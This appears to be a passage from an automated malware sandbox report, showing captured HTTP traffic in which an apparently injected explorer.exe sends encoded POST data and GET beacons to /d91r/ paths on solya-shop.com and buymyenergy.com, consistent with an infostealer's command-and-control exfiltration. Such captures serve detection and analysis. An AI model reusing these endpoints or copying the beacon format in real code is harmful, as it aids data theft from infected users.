Mar 20, 2023 15:20:06.972359896 CET	651	OUT	POST /d91r/ HTTP/1.1 Host: www.solya-shop.com Connection: close Content-Length: 51812 Cache-Control: no-cache Origin: http://www.solya-shop.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.solya-shop.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 32 4e 39 63 74 64 67 46 6e 31 39 55 6f 55 76 73 56 4d 7a 58 35 63 55 6f 76 42 48 6b 61 45 30 4f 51 76 63 41 41 4f 34 77 48 59 75 53 53 56 33 35 41 62 79 77 6e 6c 44 4a 38 52 64 31 64 4b 53 6a 56 39 4d 4a 6a 6c 55 5a 45 2d 31 58 48 5a 4d 61 6e 49 7a 48 39 76 30 34 30 7a 71 51 48 55 31 50 51 2d 7e 38 48 6b 4f 78 7a 6f 30 4b 79 76 67 5a 30 4b 69 43 28 2d 55 4c 32 4f 42 6d 4e 77 64 6a 74 77 6f 49 64 52 45 35 61 79 51 76 66 6d 68 34 6d 5f 57 4a 66 6b 6b 7a 73 55 61 31 41 75 62 32 66 6d 58 75 32 59 47 72 7a 6b 64 49 55 38 45 70 4c 44 69 66 52 6e 52 4c 69 5a 7a 4c 4f 4c 33 50 55 7a 66 42 67 71 68 4d 56 72 74 54 74 6f 66 50 63 6b 33 79 6c 6f 46 43 34 5f 79 2d 56 4e 53 59 57 32 7e 34 4b 5f 54 62 5a 54 46 51 79 34 37 51 79 6d 71 44 37 54 51 52 6e 35 47 68 6b 79 28 6e 35 57 64 57 46 5a 33 38 63 76 58 6d 56 57 75 77 65 4e 77 67 65 74 76 41 79 53 31 76 4b 4e 39 36 58 70 49 64 79 5a 61 33 74 73 6f 65 51 76 57 41 43 6a 78 6f 59 4e 62 33 6d 51 53 77 51 2d 30 77 4a 45 72 75 46 66 4a 47 4f 61 48 2d 30 71 61 53 54 50 75 46 56 45 57 38 7e 6f 31 73 4c 4c 52 55 42 71 6f 50 67 37 28 4f 49 7a 30 68 41 72 6b 46 74 74 50 74 46 69 49 52 63 6f 37 42 34 47 76 46 73 46 71 38 74 61 6c 52 69 71 69 48 48 41 37 35 76 50 61 2d 79 43 52 61 28 4c 56 47 51 6e 33 30 50 77 54 71 50 5f 33 45 69 68 63 4a 78 64 74 4a 32 42 41 6e 41 6b 28 5f 70 61 33 79 65 51 62 58 6f 46 4a 48 55 6d 34 55 4b 68 50 6b 6b 5f 74 4c 41 69 53 52 45 65 44 33 6c 5f 72 4c 7e 45 4c 6f 4c 66 6f 4c 5a 34 69 4f 75 62 5a 64 7e 59 73 7a 78 61 57 46 77 55 37 41 38 52 7e 68 74 50 34 69 6c 64 46 65 53 53 49 52 6f 58 63 51 6e 6f 4e 30 45 63 79 34 28 46 51 64 28 32 31 32 4d 45 70 32 45 48 73 44 7a 58 32 4d 5a 4a 61 4c 77 43 43 54 37 4a 6f 70 61 65 6e 48 48 62 47 6e 66 77 32 43 68 33 38 46 75 2d 59 42 52 75 53 70 5a 2d 6e 58 58 53 30 73 28 78 72 34 69 2d 46 33 4d 4c 77 73 39 45 34 50 6b 53 7e 79 65 4e 4d 6e 76 74 56 6c 6b 5a 35 2d 44 41 74 61 59 45 4e 41 59 66 4e 32 58 4f 6e 43 6a 45 4b 65 51 56 7e 36 75 58 7e 42 63 4a 4c 71 63 59 66 38 43 61 42 30 6a 6a 47 6a 68 62 6c 79 63 5f 5a 6e 4f 49 4c 71 28 41 6f 66 6a 58 6e 39 36 59 30 45 56 65 30 4c 6e 79 37 34 6e 37 77 77 6f 70 5a 37 56 61 6c 36 74 30 43 44 70 44 6e 31 79 34 75 49 4b 46 28 68 38 6c 64 7a 67 49 36 56 4f 54 33 71 59 4f 78 44 7a 78 4b 77 58 4b 75 46 48 38 6f 4f 39 66 6f 35 49 30 4c 32 4d 78 76 48 37 6c 71 63 49 36 28 6d 4d 74 69 4b 55 54 55 6c 45 4f 78 52 4a 63 42 75 4d 37 5a 70 6c 48 67 49 47 53 70 42 59 35 7e 45 4a 61 77 51 39 35 6c 67 44 74 63 50 67 32 31 32 48 5f 42 6b 78 6a 5a 41 4b 65 35 78 64 6c 46 4f 44 48 70 44 6e 36 39 53 41 6d 55 69 4f 39 56 72 31 4f 79 66 51 37 4c 77 6f 46 6b 4a 7e 41 6f 67 74 54 53 71 4e 38 6b 2d 38 57 30 6d 6f 42 4c 78 5a 53 4c 55 28 58 51 30 58 69 61 65 42 54 42 6b 4e 53 30 62 4f 4a 42 30 32 71 61 36 36 5a 4a 69 7a 51 6c 6e 32 65 6b 67 48 35 6b 61 66 33 7a 32 4a 5f 48 59 5a 4b 52 6a 7a 7a 74 76 56 72 32 72 67 4a 58 55 39 4b 43 55 68 4f 59 6d 56 54 5a 44 42 69 61 30 5a 34 72 42 71 47 58 34 6b 75 34 59 4b 31 73 46 49 2d 77 71 71 6d 56 5a 37 42 53 37 6f 39 65 77 73 41 56 4d 4b 78 4c 74 65 30 58 38 54 63 78 7a 4d 37 48 57 43 52 70 44 7a 55 28 58 58 53 45 4f 64 64 71 4d 69 6c 30 79 38 43 73 38 53 67 6a 73 55 59 47 66 6f 2d 30 6f 48 62 69 42 45 6a 30 76 72 4f 67 68 4e 6f 64 44 68 70 65 2d 68 6f 63 44 43 64 41 6c 78 75 72 33 4f 35 70 52 62 37 57 4c 4a 55 76 54 4e 49 4c 35 49 30 57 64 30 38 64 76 39 54 58 35 39 74 55 62 79 7a 33 53 46 53 6a 64 4d 7a 38 58 6c 70 6b 4f 69 4e 41 66 31 66 4c 57 4d 6a 33 67 28 32 6d 64 73 70 7e 46 44 53 76 6c 75 5a 36 65 6f 47 6a 78 63 50 49 32 45 6d 7a 6e 35 6a 54 48 35 57 67 48 32 51 41 38 75 4d 35 41 6b 47 4b 37 28 70 67 58 53 58 70 4c 65 6f 6b 51 73 65 35 55 62 69 72 2d 70 45 53 6a 69 61 7e 4d 42 37 78 42 71 79 7a 49 30 53 31 66 4c 31 42 50 56 38 6c 4e 49 73 51 35 52 73 48 66 52 6a 55 56 4a 77 45 56 76 6e 73 30 65 6a 6c 6e 68 38 57 35 32 59 30 53 54 65 49 5a 51 38 49 38 4f 78 4f 65 6e 66 75 4a 7a 61 7a 6e 52 51 4e 43 73 68 79 63 34 6d 63 4f 53 44 43 52 6d 59 46 62 70 38 6c 74 34 43 7a 55 38 4f 43 75 78 66 6e 38 50 69 73 42 46 67 32 32 6c 46 67 34 64 49 41 4b 42 4c 7a 63 Data Ascii: pO=2N9ctdgFn19UoUvsVMzX5cUovBHkaE0OQvcAAO4wHYuSSV35AbywnlDJ8Rd1dKSjV9MJjlUZE-1XHZManIzH9v040zqQHU1PQ-~8HkOxzo0KyvgZ0KiC(-UL2OBmNwdjtwoIdRE5ayQvfmh4m_WJfkkzsUa1Aub2fmXu2YGrzkdIU8EpLDifRnRLiZzLOL3PUzfBgqhMVrtTtofPck3yloFC4_y-VNSYW2~4K_TbZTFQy47QymqD7TQRn5Ghky(n5WdWFZ38cvXmVWuweNwgetvAyS1vKN96XpIdyZa3tsoeQvWACjxoYNb3mQSwQ-0wJEruFfJGOaH-0qaSTPuFVEW8~o1sLLRUBqoPg7(OIz0hArkFttPtFiIRco7B4GvFsFq8talRiqiHHA75vPa-yCRa(LVGQn30PwTqP_3EihcJxdtJ2BAnAk(_pa3yeQbXoFJHUm4UKhPkk_tLAiSREeD3l_rL~ELoLfoLZ4iOubZd~YszxaWFwU7A8R~htP4ildFeSSIRoXcQnoN0Ecy4(FQd(212MEp2EHsDzX2MZJaLwCCT7JopaenHHbGnfw2Ch38Fu-YBRuSpZ-nXXS0s(xr4i-F3MLws9E4PkS~yeNMnvtVlkZ5-DAtaYENAYfN2XOnCjEKeQV~6uX~BcJLqcYf8CaB0jjGjhblyc_ZnOILq(AofjXn96Y0EVe0Lny74n7wwopZ7Val6t0CDpDn1y4uIKF(h8ldzgI6VOT3qYOxDzxKwXKuFH8oO9fo5I0L2MxvH7lqcI6(mMtiKUTUlEOxRJcBuM7ZplHgIGSpBY5~EJawQ95lgDtcPg212H_BkxjZAKe5xdlFODHpDn69SAmUiO9Vr1OyfQ7LwoFkJ~AogtTSqN8k-8W0moBLxZSLU(XQ0XiaeBTBkNS0bOJB02qa66ZJizQln2ekgH5kaf3z2J_HYZKRjzztvVr2rgJXU9KCUhOYmVTZDBia0Z4rBqGX4ku4YK1sFI-wqqmVZ7BS7o9ewsAVMKxLte0X8TcxzM7HWCRpDzU(XXSEOddqMil0y8Cs8SgjsUYGfo-0oHbiBEj0vrOghNodDhpe-hocDCdAlxur3O5pRb7WLJUvTNIL5I0Wd08dv9TX59tUbyz3SFSjdMz8XlpkOiNAf1fLWMj3g(2mdsp~FDSvluZ6eoGjxcPI2Emzn5jTH5WgH2QA8uM5AkGK7(pgXSXpLeokQse5Ubir-pESjia~MB7xBqyzI0S1fL1BPV8lNIsQ5RsHfRjUVJwEVvns0ejlnh8W52Y0STeIZQ8I8OxOenfuJzaznRQNCshyc4mcOSDCRmYFbp8lt4CzU8OCuxfn8PisBFg22lFg4dIAKBLzcy1zeTmIfyQ981dtAoz9rQv11VDQmp3eB0JMxILTkY8thIP(AlMZWHAMHLKgp~6YlBFT-aSZGSt10lDINrROjDFq3qDSpch~jm_VDqLohieioJ099zMBbxyc1~oH8WffEQuMhZnU-GOdiHJOaQanOq73TENZUMPdH7wp5B6LA~B1tcWdvQDw1Fk~fyfpLmwUZTUqmL4F5tcAVu4u-o6VWublM6MPLeb7deVnVXYb5~2Eb0QQH54SV7YGcKL5LOzcn4UfT5wiHXPyr~6nVYeQURNQbmrog(23TuyC_wSkLDKRmKuqQlvnrxrrFAYd-ROis2Q~ALk7tGyWExkgtv6T-UiHkEPZStdQL6cUUGLMH4OGpNY85d9Dzd1hLLcZkCIDXR3QUZ6ZQurp45fWkxLn5J3hMbyq8D9NCMxhYBKKgQFJY7rwQWpeZR_(ofEFJZeYi5IdSxQegp83RSoHZqjfh14PYpDKmM8i4iVYiZECnKTnxVvYMAWNGNFiUWwVxkWlUOdtKglNpGX(VkveYtJdyiQommbuYWhX8(NwMwOEj2xoHdxkbzsRpAfo4TUQFk1Il9mjjRKRR2-DI3OKDxmUyAECnpO~jHUJtdL4hTlM7TY52QAKcSXO78hH2AMDYMLG5vVhEHIrzRpi_NsmREF61iinejtdOSt7atogbep8CT56m8gqqaQYq9qwMD6HVyblYM7u8M80EFkmhIVadjNNVPB3NAPFO90tNAtvcGUidyHG3Hx0ABDsy1kUjQKEM~gHqH0zRvA7XTQI8Kij8iLxqDF5GxdWj(o9g18iYo58619XGpTx7gesh8nvNTw~43oEpyrN1eFznjnE-JMKIG7~Yz9v963q2rQTJoGnn5dEASr0_19ze06f6SPgsCsTgXVq9OvbSTXeMZJ2lJFfXqlLiRRYHs6giiqbnsLz-1PmEMnrwnP7sRJyxahflwoH_QSq4NjYQuD8XN8ku~eQZQ61m6nZRnwEh19eZT5w95M~cgPz67H1tRn5FbBX77952YJb9qRsOU_HeLz~QN7nCIzhaECIih070FInFq06b6B8HGKB6lFcPpmR4lKgVFBUeQZRVbTqkXTJjZ8NRCupDHswwpeTuNw0vASBpGHZK7392J5EpKdZMK86vEvfIeUR1pUB6rBGWrjMLkKzzWhEDBF8PnwfyVGkQesN0oftK4xUrNQyObYOnx-Xs6iq7E-~eSFLs~BQZ38Nr2ctUXirOmSGMAVJRlHu0isFhRnOxTcgtcrdlFf2CPQW9N8VZ0TDJR1j2AnmthlU30ZsHmaXxEue4OIaFox1ghesIPoZHegGzZmlXEOfooPKSpNRRofxjRxsEizXEAzPJhsoRt7YaUgBMCoepErLfPLng7W9heN2Qz08NFPOs18ki01nPot2bEokwxajCAPAm1E12c3mSWomiWvfvLtouC8FZB4esu9vO(I6AkPXGlNVfXdfESY~fJ6kF~vJVMmSwkn(EHfuStTtN6k8xlTMHHd3Gfa5YnBfmvYwpUixHsl6Q2ZjPQrYY(PB4y_Qlz-EcxdCEzBhwq4HKsGKaeECa6Cz8Z4spBWcgPsrFXN5y3I~B2OwukDOduiIPjmwJqtocU1c2OOnF0KD11T2P08UaN0UDqZNyMIjkC6ygdAjC~dy02tTD46G2IWwaxA0SxStD~Cp8JOo58Slv2zoSF9xYKl5Ld9pGgZfHqgWqJBJrHRuf19PJRhOXx7kP6FDb34egKkQgoPRgNTGII19PgcyOUkDFtvzLHK3xXIa_vXUzWvgAFwzaoD~XNViOpFxzNvWmymsC2FSsd85krVX9aC3NxifaJHDbtROd3kLu6DOgklYaqZAjUdSn~cILEqsr1PS4RRslO5F5DJczYbcCeTHXklCYiniggXi9Jdpo3xYZxMHTbQwPlDQjHzyLgkradbfv5CAAwtVFVbN6w-3yd-r7wpzxetErFjSBkDsnvvkBkvwFA4nmyKzhHx2eegIvMYSSTTghvqhekG(Amgk9S7HaN3JnJvjVE8cgbDXMOONltC~wC3D7nRm-AGYz2C3FNJNOw7Bk3qRiKsFP8Miu~RjkynqTwLQaSKhASlH-PF7T4jAOkXryTZ(DfOzQCZuba9KcchcMNhaepPglz6GfZitZu9a5t_an66YeTYnM46aIsBVSOAcSnw(pq-r1gzwEzzH7~MG5YkDCaRZoSZWOMuyz7USFLXzkkU7IPXt_zorfYtVhIZ5C61kQ81i-rsIIqIg72ezoPf8gMyFQVq6IRq4aRVIgU5xo0xA72JC1thLrUZfVegNz9syNYrEE4l~iRALW3bBjLPwsCpEqHQckAZ00m0pwxrimMSCCl-8prdG68qmmbz6qugNOP99y73AXBxi_HHSARjzjCw~n9tRWmu1j6j91uaoDDx1oY2HILupQwP4XlxMFU_rC5kzxNQsrlJKIknGD9UwHPb3mzWTDPyCGIQ~9VXi_NWLoc2d7jIqaYnqgMXuEXrb_WnpwQ_lP(WHq1QFpjc1JlT7nw0WmFjMANL(kkmwH3vixub2vAJlOgrfVciaWXFGUKo1kfKprlK0-w-lZklyR7Y0rnIbQ(B(c42zjE4(0PP8cPbWGvX4jk-y-acC9YC5nKsG3pTUCgZUc9NFAWn2WfqsIMud1wHgDTgxnd7la2ONLP5s-BpiQhVe6jnSSWCMSAI(3Ml3RKp7rVckjcHbkH_apSzLyeq~sQSGnm65
Mar 20, 2023 15:20:06.972381115 CET	653	OUT	Data Raw: 57 35 33 31 39 63 39 51 65 37 36 4f 2d 53 49 6e 41 44 65 70 5f 34 6e 38 49 34 49 49 55 36 6c 4e 61 50 65 56 51 6e 74 38 54 76 52 36 78 35 6f 5a 58 77 72 73 68 61 57 66 72 70 36 47 46 44 33 4d 61 42 59 71 44 4a 42 32 67 5a 67 49 6f 69 36 37 6e 36 Data Ascii: W5319c9Qe76O-SInADep_4n8I4IIU6lNaPeVQnt8TvR6x5oZXwrshaWfrp6GFD3MaBYqDJB2gZgIoi67n6a78xPMHIK0zfOYO3U5OB6QNLbgrwoPyE-x64lz4DDfnCawE4YE3PBIpeA167o5S6xnMDkOEsvUY(pHH95EUdsZPYK~6p-58Jx5hRaL5XmCPTreCKByn5lJd1tnavg8b0PidTSWr(lO4xZHY8nFrOJBmiuk-KygECK
Mar 20, 2023 15:20:06.972461939 CET	658	OUT	Data Raw: 7a 52 76 4a 49 48 38 28 77 61 50 6e 62 39 32 28 51 36 57 51 5a 6e 4d 33 78 70 39 70 4b 54 39 71 35 30 73 32 31 54 38 32 6f 6e 77 46 35 62 42 50 6c 67 30 45 71 36 4b 54 76 56 46 4d 64 74 75 4c 30 51 35 68 6c 32 4f 79 78 6d 67 44 6c 4e 6a 56 75 28 Data Ascii: zRvJIH8(waPnb92(Q6WQZnM3xp9pKT9q50s21T82onwF5bBPlg0Eq6KTvVFMdtuL0Q5hl2OyxmgDlNjVu(_MD1kPfFd0wIn7wF0oVatfHkuLxrMAnqn3jgeokx_u0gQwqFx~ZsmETe0JJe-79HqwtCqOFKDCvu_DuElorqzQeuvmdWrsXkfAKGjqrjx4LPtE-YcAEq1H99CXqOHiReCXwdy1BvYjP8AIGQCZ8xBlnrdT9otYppl
Mar 20, 2023 15:20:06.986861944 CET	661	OUT	Data Raw: 6b 68 6d 78 5a 4c 39 79 62 52 4c 47 6f 35 58 42 6a 6a 72 69 41 51 78 53 41 63 47 65 52 33 37 61 72 50 75 33 6c 31 68 43 4e 6a 35 46 67 51 5f 70 4c 37 7a 41 46 34 2d 6b 41 35 47 73 6c 64 6f 56 58 65 46 4a 49 69 6e 4d 79 77 73 44 70 42 44 31 63 4c Data Ascii: khmxZL9ybRLGo5XBjjriAQxSAcGeR37arPu3l1hCNj5FgQ_pL7zAF4-kA5GsldoVXeFJIinMywsDpBD1cLJfvtxLxaz7nDXP6q9Xow7I0BETHuPb2DJGDnMa2WVlkACgRzOuEg2A76_Le0ZIz5j9PC7pFUAYjSwLygy40Nw63WEdBs2ttf8003-U4aLVcWUlvVGkbeu0Njb7TXJgq8ml0LiG1Q0ixYJbkVbWkqgSGLgPpnzCVr5
Mar 20, 2023 15:20:06.987008095 CET	679	OUT	Data Raw: 4d 53 75 46 59 33 49 61 65 66 30 75 4d 71 66 35 2d 71 50 7e 4c 6d 51 72 48 42 67 77 35 42 34 57 51 69 4e 6d 65 51 39 4f 51 53 56 67 47 4d 31 79 65 4f 6a 57 34 43 30 75 44 76 7a 6b 51 4f 7a 4f 7a 38 55 6b 47 61 2d 42 50 54 78 4f 4b 31 4d 54 2d 79 Data Ascii: MSuFY3Iaef0uMqf5-qP~LmQrHBgw5B4WQiNmeQ9OQSVgGM1yeOjW4C0uDvzkQOzOz8UkGa-BPTxOK1MT-y9vVzpyFdcFxgOcb7EUuEyyVX1phvVwdSbWF8R6skZNY8117rRMeXfIxnAKxdTPodrIBXKDOkgxbDEajAdhLYwzkomJgUKz9Op6os_aOF5rRcaXt5a4ZR4bFpbLS8Txl9I3EG6O6WZqRQPyxT_vrysXSlJHJgFe26x
Mar 20, 2023 15:20:06.987205029 CET	683	OUT	Data Raw: 6d 45 37 43 59 6d 39 71 6e 48 67 38 4f 67 51 6f 5f 6f 41 52 45 4e 32 75 5a 36 78 46 6f 35 39 4d 38 77 44 57 55 61 77 73 52 4d 41 57 74 55 69 65 6c 54 39 4b 79 67 48 67 64 70 54 78 50 6b 53 32 4a 70 38 4e 4d 49 52 73 31 51 78 30 6b 42 64 49 68 6e Data Ascii: mE7CYm9qnHg8OgQo_oAREN2uZ6xFo59M8wDWUawsRMAWtUielT9KygHgdpTxPkS2Jp8NMIRs1Qx0kBdIhnwOoGC2AJB8l0xTyi32gfFHJ1ejlKdO2kuvjuMfzsdZvMPaqTxoTK1V8xbmyaH~bfCygIhk9jfLOboKtVlwp9E0HHW31Vu6rcT3ITKFBIdtBmLIQoK(EIikFksl81EdTZ_GWqXmxFY45Ijx4z7GKXmN6Edt9TGScFZ
Mar 20, 2023 15:20:07.001236916 CET	686	OUT	Data Raw: 39 43 6b 6b 57 4b 64 63 51 56 53 62 59 30 6c 53 75 28 42 63 78 6c 4f 67 6f 4d 2d 62 68 6e 6a 6a 5a 33 39 78 5f 31 4b 47 6b 50 74 76 61 46 6e 74 53 79 4d 7a 47 38 2d 67 4a 70 4a 6e 47 76 63 6d 72 38 61 79 7a 6d 62 6d 39 56 41 6e 4d 71 4f 7a 6f 75 Data Ascii: 9CkkWKdcQVSbY0lSu(BcxlOgoM-bhnjjZ39x_1KGkPtvaFntSyMzG8-gJpJnGvcmr8ayzmbm9VAnMqOzoudJ0PE69wmiK4vwZyDaUecuOOBRZwMwmvYD5UVbedd6wSNWJK8jf7yvssLgBWTpSAEtjzXbqLzBn~-8t~qtdDG8ad-p6RJ0am9DAfa3DS7cJ2Ca6ZPxEFS28t2IPg2vjeDaPRQiY6oamYd90Kxnmu1AisuyP6gNp7k
Mar 20, 2023 15:20:07.001421928 CET	689	OUT	Data Raw: 4b 56 66 34 33 34 5a 6a 52 54 5a 4d 31 6a 41 5a 5f 65 4c 78 35 61 55 6d 4e 4e 61 54 55 68 2d 65 4d 64 33 52 68 63 4b 36 77 59 41 61 76 35 46 51 4b 73 72 63 59 30 70 64 67 45 37 37 55 7a 6c 41 7a 45 73 39 58 39 4f 33 72 69 4e 68 32 79 50 72 37 6e Data Ascii: KVf434ZjRTZM1jAZ_eLx5aUmNNaTUh-eMd3RhcK6wYAav5FQKsrcY0pdgE77UzlAzEs9X9O3riNh2yPr7noEhCvbhL7U3xAyWbvDhSGHbKj1I4PXUAKR7G3dAM5tyVrWqmr4rlnWNg9E_McoAYFLM67rEEjH0nObfadavw9exwJ(nFZEX4q11awHVhV~gep3oZIHPDA5NIOKRuQT878VUQxIG(XIF2feZCn3FTivQXLCc8ShuCn
Mar 20, 2023 15:20:07.001580954 CET	697	OUT	Data Raw: 4a 54 76 58 47 62 5f 41 62 6b 55 54 2d 47 4d 4a 34 7e 58 6b 78 63 36 51 39 77 49 7a 69 49 79 5a 2d 39 7a 53 6e 73 52 79 56 78 56 48 6b 66 72 32 4a 6c 5f 44 31 6f 66 44 62 6c 5a 79 35 63 50 66 4c 41 79 38 31 5a 6c 48 66 45 4e 42 38 41 51 65 69 7e Data Ascii: JTvXGb_AbkUT-GMJ4~Xkxc6Q9wIziIyZ-9zSnsRyVxVHkfr2Jl_D1ofDblZy5cPfLAy81ZlHfENB8AQei~fWgfyADTBcqSvwdHVH2aUt0(sc6x5LWxtBOn0qxMpDUzo~Tu9PzU1T-1avUMHkCmmDHuirKjvbHHcKCyPXaCmwXWyDJExJVuTD4VUw2DtKKpTJSmedpVr5McJsE4-cmSAFkYYPze0TCRH3RESeeouoYNfSW4sdpU-
Mar 20, 2023 15:20:07.016450882 CET	698	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html Content-Length: 0 Connection: close Date: Mon, 20 Mar 2023 14:20:06 GMT Server: Apache Cache-Control: max-age=3600 Location: https://solya-shop.com/d91r/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.11.20	49856	217.160.0.217	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:20:09.518232107 CET	699	OUT	GET /d91r/?pO=7PV8upFW6FVa3k/MU+30mMAjyxriZ1cDX5oDGeg3AZSuSXraG6qqoVat6TxNWaSRWOEFtjNQc54wQIQLn7Ha+8c9lg+BGW9hdg==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.solya-shop.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:20:09.535295010 CET	699	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html Content-Length: 0 Connection: close Date: Mon, 20 Mar 2023 14:20:09 GMT Server: Apache Cache-Control: max-age=3600 Location: https://solya-shop.com/d91r/?pO=7PV8upFW6FVa3k/MU+30mMAjyxriZ1cDX5oDGeg3AZSuSXraG6qqoVat6TxNWaSRWOEFtjNQc54wQIQLn7Ha+8c9lg+BGW9hdg==&8H7gL=Bxcfm_qbbEGm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.11.20	49858	45.194.145.38	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:20:15.076498032 CET	707	OUT	POST /d91r/ HTTP/1.1 Host: www.buymyenergy.com Connection: close Content-Length: 184 Cache-Control: no-cache Origin: http://www.buymyenergy.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.buymyenergy.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 72 6b 65 53 41 69 68 6e 67 79 73 64 75 66 77 2d 28 57 6a 61 44 6e 62 77 4e 42 79 4d 4b 44 57 79 74 78 32 71 32 67 4f 4c 31 46 61 44 76 5f 37 5a 53 35 57 37 67 65 47 49 39 46 63 6a 72 68 55 5f 54 31 53 50 46 50 76 77 56 31 7e 75 41 45 6b 7a 53 68 76 7a 44 39 54 55 49 30 30 32 38 73 75 79 7e 74 73 64 56 4e 6d 77 6d 58 73 4c 78 36 42 46 65 6d 4c 54 74 44 6e 68 62 48 53 64 51 55 74 73 44 49 41 75 59 4e 39 31 57 43 48 43 44 75 51 71 66 5f 41 41 67 53 4c 6b 62 4a 6a 6a 61 69 4e 6f 56 52 76 53 6c 37 69 47 35 56 42 5a 59 32 37 4b 6f 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=rkeSAihngysdufw-(WjaDnbwNByMKDWytx2q2gOL1FaDv_7ZS5W7geGI9FcjrhU_T1SPFPvwV1~uAEkzShvzD9TUI0028suy~tsdVNmwmXsLx6BFemLTtDnhbHSdQUtsDIAuYN91WCHCDuQqf_AAgSLkbJjjaiNoVRvSl7iG5VBZY27KoA).
Mar 20, 2023 15:20:15.577214956 CET	707	IN	HTTP/1.1 404 Not Found Cache-Control: private Content-Length: 80 Content-Type: text/html; Charset=gb2312 Server: Microsoft-IIS/7.5 Set-Cookie: ASPSESSIONIDSADQDCCQ=IMGAOJLDCMNIMLMODGGMFGFI; path=/ X-Powered-By: ASP.NET Date: Mon, 20 Mar 2023 14:20:15 GMT Connection: close Data Raw: 0d 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 31 35 31 30 39 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script language="javascript" type="text/javascript" src="/15109.js"></script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.11.20	49859	45.194.145.38	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:20:17.807518959 CET	709	OUT	POST /d91r/ HTTP/1.1 Host: www.buymyenergy.com Connection: close Content-Length: 524 Cache-Control: no-cache Origin: http://www.buymyenergy.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.buymyenergy.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 72 6b 65 53 41 69 68 6e 67 79 73 64 38 76 41 2d 7e 31 4c 61 50 58 62 33 54 78 79 4d 42 6a 57 32 74 78 4b 71 32 69 69 62 31 58 7e 44 73 64 7a 5a 54 38 36 37 74 2d 47 49 70 56 63 6d 6d 42 55 30 54 31 4f 48 46 4f 44 77 56 31 71 75 42 33 63 7a 51 52 76 77 49 64 54 62 50 30 30 33 34 73 75 43 7e 74 6f 37 56 4e 43 77 6d 6a 63 4c 79 34 70 46 5a 33 4c 4d 67 44 6e 6a 4d 33 53 65 61 30 74 69 44 49 64 4f 59 4e 46 6c 57 30 76 43 44 4f 77 71 65 5f 41 44 35 53 4b 4e 55 70 69 58 5a 54 38 2d 4e 41 47 75 35 72 69 4d 68 42 45 39 61 33 7e 42 77 52 61 56 64 4e 56 41 30 5a 45 4b 63 4b 6b 41 67 4b 6d 5f 58 39 6c 7a 38 6d 63 65 63 43 63 49 42 4e 4c 6f 6e 43 6e 73 28 79 43 6e 71 45 74 33 75 47 36 73 6a 30 59 47 39 4e 4f 45 30 72 44 4b 4c 75 74 4e 6b 47 72 4c 56 58 79 38 43 2d 54 5a 6b 37 63 63 7e 30 70 67 32 43 4a 6e 76 73 6d 4e 41 50 78 6f 69 55 55 74 45 71 54 71 53 64 38 5a 38 71 6e 67 48 38 48 57 4e 58 72 68 33 69 50 4a 38 65 6a 72 73 48 7a 56 6f 76 32 48 54 4f 48 2d 68 50 7e 62 4b 2d 65 51 47 2d 4d 33 55 62 31 79 53 67 4c 5f 54 68 4c 52 44 67 62 4a 48 48 7e 61 72 49 65 5f 33 6b 6e 73 70 4e 32 6a 32 4f 55 6b 41 43 4d 52 66 72 5a 70 55 72 64 43 65 57 37 6a 32 41 32 70 33 36 64 31 4b 33 4e 46 4d 62 34 57 64 4c 32 50 41 66 38 2d 70 33 32 6e 70 49 7a 66 67 6e 64 61 78 52 48 76 69 64 48 6d 62 5f 79 6a 70 4f 78 74 49 37 32 6a 7e 34 42 53 63 4d 55 6c 38 47 72 63 51 51 77 47 54 4e 65 36 76 4f 61 39 61 37 47 78 64 6e 6e 30 76 36 49 43 71 31 54 4f 50 72 71 67 78 65 70 47 74 33 76 63 71 65 36 35 59 44 34 43 65 61 74 79 31 75 50 45 6a 6b 39 2d 41 39 53 76 77 4b 6f 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=rkeSAihngysd8vA-~1LaPXb3TxyMBjW2txKq2iib1X~DsdzZT867t-GIpVcmmBU0T1OHFODwV1quB3czQRvwIdTbP0034suC~to7VNCwmjcLy4pFZ3LMgDnjM3Sea0tiDIdOYNFlW0vCDOwqe_AD5SKNUpiXZT8-NAGu5riMhBE9a3~BwRaVdNVA0ZEKcKkAgKm_X9lz8mcecCcIBNLonCns(yCnqEt3uG6sj0YG9NOE0rDKLutNkGrLVXy8C-TZk7cc~0pg2CJnvsmNAPxoiUUtEqTqSd8Z8qngH8HWNXrh3iPJ8ejrsHzVov2HTOH-hP~bK-eQG-M3Ub1ySgL_ThLRDgbJHH~arIe_3knspN2j2OUkACMRfrZpUrdCeW7j2A2p36d1K3NFMb4WdL2PAf8-p32npIzfgndaxRHvidHmb_yjpOxtI72j~4BScMUl8GrcQQwGTNe6vOa9a7Gxdnn0v6ICq1TOPrqgxepGt3vcqe65YD4Ceaty1uPEjk9-A9SvwKo.
